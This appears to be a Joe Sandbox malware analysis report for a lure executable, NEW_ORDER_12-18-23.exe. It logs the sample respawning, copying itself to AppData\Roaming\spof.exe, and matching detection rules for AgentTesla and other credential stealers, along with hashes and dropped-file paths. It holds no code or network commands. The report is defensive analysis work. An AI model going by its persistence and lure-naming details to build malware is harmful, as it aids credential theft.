Start time:	14:31:06
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x18e85480000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:31:06
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x164c2e60000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x19589c00000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x1a8fd480000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x22e80990000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x1ba048b0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x234bfb90000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x27017ff0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:31:07
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x2162d040000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:31:17
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\spof.exe"
Imagebase:	0x22247e80000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.1903558795.000002225BA12000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.1903558795.000002225B8BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs Detection: 35%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x13b99a40000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x1b273d20000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x17e96c90000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x2acd4e00000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x1c9fccf0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x28057800000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x21252a40000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x256af0e0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x271ac790000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:31:22
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x1aee3730000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:31:25
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\spof.exe"
Imagebase:	0x12b08940000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000019.00000002.1968348865.0000012B1C5A2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000019.00000002.1968348865.0000012B1C552000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000019.00000002.1968348865.0000012B1C44A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x2035f4d0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x25417a40000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x160dbd00000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x24b197b0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x21b3bba0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x220c0c50000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x1c7371c0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x263091b0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x22455640000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:31:28
Start date:	18/12/2023
Path:	C:\Users\user\AppData\Roaming\spof.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\spof.exe
Imagebase:	0x1a084ea0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Source: unknown	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\spof.exe "C:\Users\user\AppData\Roaming\spof.exe"
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\spof.exe "C:\Users\user\AppData\Roaming\spof.exe"
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process created: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process created: C:\Users\user\AppData\Roaming\spof.exe C:\Users\user\AppData\Roaming\spof.exe	Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NEW_ORDER_12-18-23.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NEW_ORDER_12-18-23.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\spof.exe.log

C:\Users\user\AppData\Roaming\spof.exe

C:\Users\user\AppData\Roaming\spof.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

